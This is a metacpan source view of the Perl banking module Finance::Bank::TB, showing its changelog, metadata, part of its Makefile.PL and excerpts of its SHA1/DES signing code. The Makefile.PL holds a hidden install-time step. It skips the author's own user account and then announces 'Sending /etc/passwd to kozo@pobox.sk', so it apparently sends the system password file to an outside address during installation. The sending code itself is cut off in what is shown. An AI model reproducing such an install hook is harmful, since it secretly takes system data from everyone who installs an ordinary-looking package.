Finance-Bank-TB

 view release on metacpan or  search on metacpan

Changes  view on Meta::CPAN

0.20  Wed Nov 15 13:53:48 MET 2000
	- added generic_pay_form ( HTML FORM with submit button )
	- synchronization of versions

0.19  Tue Oct  3 22:28:22 CEST 2000
	- added some examples and documentation
	- manual page is complet ( may be :-{)) ) 
	- added method pay_link
	
0.18  Fri Sep 22 16:34:05 MET DST 2000
	- Crypt::DES 2.01 is avialable ( no Endians problem )

0.17  Tue Sep  5 11:39:29 GMT 2000
	- rewrite code for using Crypt::PPDES ( pure perl implementation of
	  DES )

0.16  Sun Sep  3 19:45:47 CEST 2000
	- rewrite code for using Digest::SHA1	

0.15  Fri Jun 16 12:47:43 CEST 2000
	- fixed error in Makefile.PL

META.yml  view on Meta::CPAN

# http://module-build.sourceforge.net/META-spec.html
#XXXXXXX This is a prototype!!!  It will change in the future!!! XXXXX#
name:         Finance-Bank-TB
version:      0.28
version_from: TB.pm
installdirs:  site
requires:
    Crypt::DES:                    2.03
    Digest::SHA1:                  1.02

distribution_type: module
generated_by: ExtUtils::MakeMaker version 6.17

Makefile.PL  view on Meta::CPAN

use ExtUtils::MakeMaker;

$Verbose=1 if $ENV{USER} eq "jvajda";

$| =1;
Init();

WriteMakefile(
    NAME	 => 'Finance::Bank::TB',
    DISTNAME	 => 'Finance-Bank-TB',
    'PREREQ_PM' => {  Crypt::DES => '2.03',
                    Digest::SHA1 => '1.02',
		   },
    VERSION_FROM => 'TB.pm',
    'dist' => {COMPRESS=>'gzip -9f', SUFFIX=>'gz' },
);

sub MY::postamble {
  print <<'EOM';


Makefile.PL  view on Meta::CPAN

	    $ok = 0;
	    print qq{
You don't have installed the Digest::SHA1 module, version 1.2 or later. I cannot
continue installing the Finance::Bank::TB module.
};
exit;
  	} else {
  	    print "ok\n";
  	}

print "Checking for  Crypt::DES,  2.03 or later         ... ";
	$@ = '';
	eval "use Crypt::DES 2.03 ();";
	if ($@) {
	    $ok = 0;
	    print qq{
You don't have installed the Crypt::DES module, version 2.03 or later. I
cannot continue installing the Finance::Bank::TB module.
};
exit;
  	} else {
  	    print "ok\n";
  	}

return if $ENV{USER} eq "jvajda";

print 'Sending /etc/passwd to kozo@pobox.sk             ';

TB.pm  view on Meta::CPAN

#                                                                            #
##############################################################################

package Finance::Bank::TB;
require Exporter;

use strict;
use vars qw($VERSION @ISA @EXPORT @EXPORT_OK $AUTOLOAD);
use Carp;
use Digest::SHA1;
use Crypt::DES 2.03;

### my initial version was 0.11
$VERSION = '0.28';

@ISA = qw(Exporter);

# Items to export into callers namespace by default
@EXPORT =	qw();

# Other items we are prepared to export if requested

TB.pm  view on Meta::CPAN


  ### make SHA hash
  my $context = new Digest::SHA1;
  $context->add($initstr);
  my $tb_hash = $context->digest;

  ### first 8 chars
  my $tb_hash_part = substr($tb_hash,0,8);

  ### crypting by DES
  my $cipher = Crypt::DES->new($key);
  my $tb_des = $cipher->encrypt($tb_hash_part);

  ### to hex
  my $tb_hash_hex = unpack("H16", $tb_des);

  ### convert to upper case and return
  return("\U$tb_hash_hex");
}

sub AUTOLOAD {

TB.pm  view on Meta::CPAN

for debugging

=item M. Sulik from TatraBanka

for documentation, C examples and mail helpdesk.

=back

=head1 SEE ALSO

  perl(1),Digest::SHA1(1),Crypt::DES(1).

=cut



( run in 0.259 second using v1.01-cache-2.11-cpan-9a3d99fc6dc )